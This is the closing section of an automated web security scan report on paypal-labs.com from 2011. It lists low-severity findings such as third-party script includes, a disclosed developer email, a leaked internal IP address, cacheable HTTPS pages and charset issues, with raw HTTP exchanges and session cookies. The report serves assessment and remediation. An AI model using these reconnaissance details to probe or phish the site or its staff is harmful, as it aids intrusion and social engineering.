User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/intro.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:01:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 16274


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <ti
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...

6.4. https://www.paypal-labs.com/integrationwizard/ecpaypal/intro.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/intro.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /integrationwizard/ecpaypal/intro.php HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.paypal-labs.com/integrationwizard/ecpaypal/main.php
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:01:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 9415


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <tit
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...

6.5. https://www.paypal-labs.com/integrationwizard/ecpaypal/legaldisclaimer.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/legaldisclaimer.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /integrationwizard/ecpaypal/legaldisclaimer.php HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:45 GMT
Server: Apache
Content-Length: 4785
Connection: close
Content-Type: text/html

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <titl
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...

6.6. https://www.paypal-labs.com/integrationwizard/ecpaypal/main.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/main.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /integrationwizard/ecpaypal/main.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: https://www.paypal-labs.com/integrationwizard/index.php
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.paypal-labs.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=186a11a1571da45c8ad4f1cffff260fb

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 02:00:46 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 8645

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <title
...[SNIP]...
</script>
   <script src="https://www.google-analytics.com/urchin.js" type="text/javascript">
   </script>
...[SNIP]...

6.7. https://www.paypal-labs.com/paypal-labs/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /paypal-labs/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /paypal-labs/ HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://paypal-portal.com/
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 14:06:45 GMT
Server: Apache
X-Pingback: https://www.paypal-portal.com/paypal-labs/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Last-Modified: Fri, 12 Aug 2011 14:06:47 GMT
Vary: Accept-Encoding,Cookie
Content-Length: 15390
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.or
...[SNIP]...
<link href="https://www.paypal-portal.com/paypal-labs/wp-content/themes/paypallab/css/jquery.jcarousel.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="https://www.paypal-portal.com/paypal-labs/wp-content/themes/paypallab/js/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="https://www.paypal-portal.com/paypal-labs/wp-content/themes/paypallab/js/jquery.jcarousel.js"></script>
<script type="text/javascript" src="https://www.paypal-portal.com/paypal-labs/wp-content/themes/paypallab/js/scripts.js"></script>
...[SNIP]...
<!-- End .wrapper -->
<script src="https://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

7. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/expresscheckout.asp

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /integrationwizard/ecpaypal/expresscheckout.asp HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 12 Aug 2011 13:46:47 GMT
Server: Apache
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1018

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...
<link rev="made" href="mailto:lherczeg@paypal.com" />
...[SNIP]...
<a href="mailto:lherczeg@paypal.com">
...[SNIP]...

8. Private IP addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /paypal-labs/

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

Request

GET /paypal-labs/ HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://paypal-portal.com/
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 14:06:45 GMT
Server: Apache
X-Pingback: https://www.paypal-portal.com/paypal-labs/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Last-Modified: Fri, 12 Aug 2011 14:06:47 GMT
Vary: Accept-Encoding,Cookie
Content-Length: 15390
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.or
...[SNIP]...
erformance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk
Object Caching 374/454 objects using disk

Served from: 10.191.193.20 @ 2011-08-12 14:06:47 -->

9. Cacheable HTTPS response  previous  next
There are 5 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


9.1. https://www.paypal-labs.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /

Request

GET / HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:44 GMT
Server: Apache
Last-Modified: Thu, 11 Nov 2010 20:56:21 GMT
ETag: "10eea-f8-34bf4740"
Accept-Ranges: bytes
Content-Length: 248
Connection: close
Content-Type: text/html

<meta http-equiv="REFRESH" content="0;url=https://www.paypal-labs.com/paypal-labs/">
<script>
window.location.href='https://www.paypal-labs.com/paypal-labs/' ;
</script>
<a href="https://www.paypal-la
...[SNIP]...

9.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/download.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/download.php

Request

GET /integrationwizard/ecpaypal/download.php HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:47 GMT
Server: Apache
Content-Length: 64
Connection: close
Content-Type: text/html

Attempt to download file without the appropriate input parameter

9.3. https://www.paypal-labs.com/integrationwizard/ecpaypal/legaldisclaimer.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/legaldisclaimer.php

Request

GET /integrationwizard/ecpaypal/legaldisclaimer.php HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:45 GMT
Server: Apache
Content-Length: 4785
Connection: close
Content-Type: text/html

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
   <titl
...[SNIP]...

9.4. https://www.paypal-labs.com/integrationwizard/processHandler.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/processHandler.php

Request

GET /integrationwizard/processHandler.php HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:45 GMT
Server: Apache
Content-Length: 0
Connection: close
Content-Type: text/html


9.5. https://www.paypal-labs.com/paypal-labs/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /paypal-labs/

Request

GET /paypal-labs/ HTTP/1.1
Host: www.paypal-labs.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://paypal-portal.com/
Cookie: PHPSESSID=9fef7174af1d35f04a5909e8579ccbfa

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 14:06:45 GMT
Server: Apache
X-Pingback: https://www.paypal-portal.com/paypal-labs/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.1.3
Last-Modified: Fri, 12 Aug 2011 14:06:47 GMT
Vary: Accept-Encoding,Cookie
Content-Length: 15390
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.or
...[SNIP]...

10. HTML does not specify charset  previous  next
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


10.1. https://www.paypal-labs.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /

Request

GET / HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:44 GMT
Server: Apache
Last-Modified: Thu, 11 Nov 2010 20:56:21 GMT
ETag: "10eea-f8-34bf4740"
Accept-Ranges: bytes
Content-Length: 248
Connection: close
Content-Type: text/html

<meta http-equiv="REFRESH" content="0;url=https://www.paypal-labs.com/paypal-labs/">
<script>
window.location.href='https://www.paypal-labs.com/paypal-labs/' ;
</script>
<a href="https://www.paypal-la
...[SNIP]...

10.2. https://www.paypal-labs.com/integrationwizard/ecpaypal/download.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/download.php

Request

GET /integrationwizard/ecpaypal/download.php HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:47 GMT
Server: Apache
Content-Length: 64
Connection: close
Content-Type: text/html

Attempt to download file without the appropriate input parameter

11. Content type incorrectly stated  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://www.paypal-labs.com
Path:   /integrationwizard/ecpaypal/download.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /integrationwizard/ecpaypal/download.php HTTP/1.1
Host: www.paypal-labs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 12 Aug 2011 13:46:47 GMT
Server: Apache
Content-Length: 64
Connection: close
Content-Type: text/html

Attempt to download file without the appropriate input parameter

12. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.paypal-labs.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  www.paypal-labs.com
Issued by:  VeriSign Class 3 Extended Validation SSL CA
Valid from:  Tue Dec 15 18:00:00 GMT-06:00 2009
Valid to:  Tue Jan 31 17:59:59 GMT-06:00 2012

Certificate chain #1

Issued to:  VeriSign Class 3 Extended Validation SSL CA
Issued by:  VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:  Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:  Mon Nov 07 17:59:59 GMT-06:00 2016

Certificate chain #2

Issued to:  VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Tue Nov 07 18:00:00 GMT-06:00 2006
Valid to:  Sun Nov 07 17:59:59 GMT-06:00 2021

Certificate chain #3

Issued to:  Class 3 Public Primary Certification Authority
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Sun Jan 28 18:00:00 GMT-06:00 1996
Valid to:  Wed Aug 02 17:59:59 GMT-06:00 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Fri Aug 12 09:34:03 GMT-06:00 2011.